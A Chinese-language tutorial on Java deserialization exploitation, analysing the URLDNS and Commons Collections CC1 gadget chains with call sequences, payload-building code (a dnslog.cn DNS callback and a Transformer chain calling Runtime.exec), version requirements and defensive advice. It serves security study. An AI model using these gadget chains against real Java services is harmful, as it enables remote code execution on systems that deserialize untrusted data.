CC链学习-上
字数 1273 2025-08-05 08:19:29

Java反序列化漏洞学习:CC链与URLDNS分析

1. URLDNS链分析

1.1 URLDNS链简介

URLDNS是ysoserial中最简单的一条利用链,具有以下优点:

  • 使用Java内置类构造,不依赖第三方库
  • 在目标没有回显时,能通过DNS请求检测反序列化漏洞

1.2 利用链流程

HashMap->readObject()
HashMap->hash()
URL->hashCode()
URLStreamHandler->hashCode()
URLStreamHandler->getHostAddress()
InetAddress->getByName()

1.3 关键代码分析

public class URLDNS {
    public static Object urldns() throws Exception {
        HashMap<URL, String> hashMap = new HashMap<URL, String>();
        URL url = new URL("http://txbjb7.dnslog.cn");
        
        // 反射获取URL的hashCode方法
        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
        f.setAccessible(true);
        
        // 避免在put时触发DNS请求
        f.set(url, 0xAAA);
        hashMap.put(url, "Yasax1");
        
        // 设置hashCode为-1,使反序列化时重新计算
        f.set(url, -1);
        return hashMap;
    }
}

1.4 触发原理

  1. HashMap.readObject() 反序列化时会调用 hash() 方法
  2. hash() 方法会调用 key 的 hashCode() 方法
  3. URL.hashCode() 当 hashCode 为 -1 时会调用 handler.hashCode()
  4. URLStreamHandler.hashCode() 调用 getHostAddress()
  5. getHostAddress() 调用 InetAddress.getByName() 发起DNS查询

2. CC1链分析

2.1 环境要求

  • JDK 1.7
  • Commons Collections 3.1
  • Java版本需在8u71之前

2.2 TransformedMap链

2.2.1 利用链流程

ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
MapEntry.setValue()
TransformedMap.checkSetValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

2.2.2 关键代码

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[]{String.class, Class[].class}, 
        new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", 
        new Class[]{String.class}, 
        new Object[]{"calc"})
};

Transformer transformerChain = new ChainedTransformer(transformers);
Map innermap = new HashMap();
innermap.put("value", "xxx");
Map outmap = TransformedMap.decorate(innermap, null, transformerChain);

2.2.3 关键点分析

  1. TransformedMap:修饰Map,在添加元素时执行回调
  2. Transformer接口:只有一个 transform(Object input) 方法
  3. ConstantTransformer:直接返回构造时传入的对象
  4. InvokerTransformer:利用反射执行方法
  5. ChainedTransformer:将前一个transform结果作为后一个的输入

2.2.4 AnnotationInvocationHandler条件

  1. 构造函数的第一个参数必须是Annotation的子类,且至少含有一个方法
  2. TransformedMap中必须有一个键名为该方法的元素

2.3 LazyMap链

2.3.1 利用链流程

ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

2.3.2 关键代码

Map outmap = LazyMap.decorate(innermap, transformerChain);

// 创建代理
InvocationHandler handler = (InvocationHandler)ctor.newInstance(Retention.class, outmap);
Map mapProxy = (Map)Proxy.newProxyInstance(
    LazyMap.class.getClassLoader(),
    LazyMap.class.getInterfaces(),
    handler);

2.3.3 关键点分析

  1. LazyMap.get():当key不存在时,调用factory的transform方法
  2. Java代理机制:通过代理在调用方法前执行invoke方法
  3. 触发条件:需要确保super.map中不包含调用的key

3. 总结

3.1 URLDNS链特点

  • 简单可靠,适合漏洞检测
  • 不依赖第三方库
  • 通过DNS请求确认漏洞存在

3.2 CC1链特点

  • 依赖Commons Collections库
  • 利用Transformer链执行任意命令
  • 两种实现方式:TransformedMap和LazyMap
  • JDK 8u71后失效

3.3 防御建议

  • 升级JDK版本
  • 避免反序列化不可信数据
  • 使用安全管理器限制危险操作
  • 更新Commons Collections库版本

4. 附录

4.1 测试环境搭建

<!-- Maven依赖 -->
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.1</version>
</dependency>

4.2 调试技巧

  • 在关键方法处设置断点
  • 注意JDK版本差异
  • 关注反射调用和代理机制的执行流程
  • 注意调试过程本身可能影响执行路径
Java反序列化漏洞学习:CC链与URLDNS分析 1. URLDNS链分析 1.1 URLDNS链简介 URLDNS是ysoserial中最简单的一条利用链,具有以下优点: 使用Java内置类构造,不依赖第三方库 在目标没有回显时,能通过DNS请求检测反序列化漏洞 1.2 利用链流程 1.3 关键代码分析 1.4 触发原理 HashMap.readObject() 反序列化时会调用 hash() 方法 hash() 方法会调用 key 的 hashCode() 方法 URL.hashCode() 当 hashCode 为 -1 时会调用 handler.hashCode() URLStreamHandler.hashCode() 调用 getHostAddress() getHostAddress() 调用 InetAddress.getByName() 发起DNS查询 2. CC1链分析 2.1 环境要求 JDK 1.7 Commons Collections 3.1 Java版本需在8u71之前 2.2 TransformedMap链 2.2.1 利用链流程 2.2.2 关键代码 2.2.3 关键点分析 TransformedMap :修饰Map,在添加元素时执行回调 Transformer接口 :只有一个 transform(Object input) 方法 ConstantTransformer :直接返回构造时传入的对象 InvokerTransformer :利用反射执行方法 ChainedTransformer :将前一个transform结果作为后一个的输入 2.2.4 AnnotationInvocationHandler条件 构造函数的第一个参数必须是Annotation的子类,且至少含有一个方法 TransformedMap中必须有一个键名为该方法的元素 2.3 LazyMap链 2.3.1 利用链流程 2.3.2 关键代码 2.3.3 关键点分析 LazyMap.get() :当key不存在时,调用factory的transform方法 Java代理机制 :通过代理在调用方法前执行invoke方法 触发条件 :需要确保super.map中不包含调用的key 3. 总结 3.1 URLDNS链特点 简单可靠,适合漏洞检测 不依赖第三方库 通过DNS请求确认漏洞存在 3.2 CC1链特点 依赖Commons Collections库 利用Transformer链执行任意命令 两种实现方式:TransformedMap和LazyMap JDK 8u71后失效 3.3 防御建议 升级JDK版本 避免反序列化不可信数据 使用安全管理器限制危险操作 更新Commons Collections库版本 4. 附录 4.1 测试环境搭建 4.2 调试技巧 在关键方法处设置断点 注意JDK版本差异 关注反射调用和代理机制的执行流程 注意调试过程本身可能影响执行路径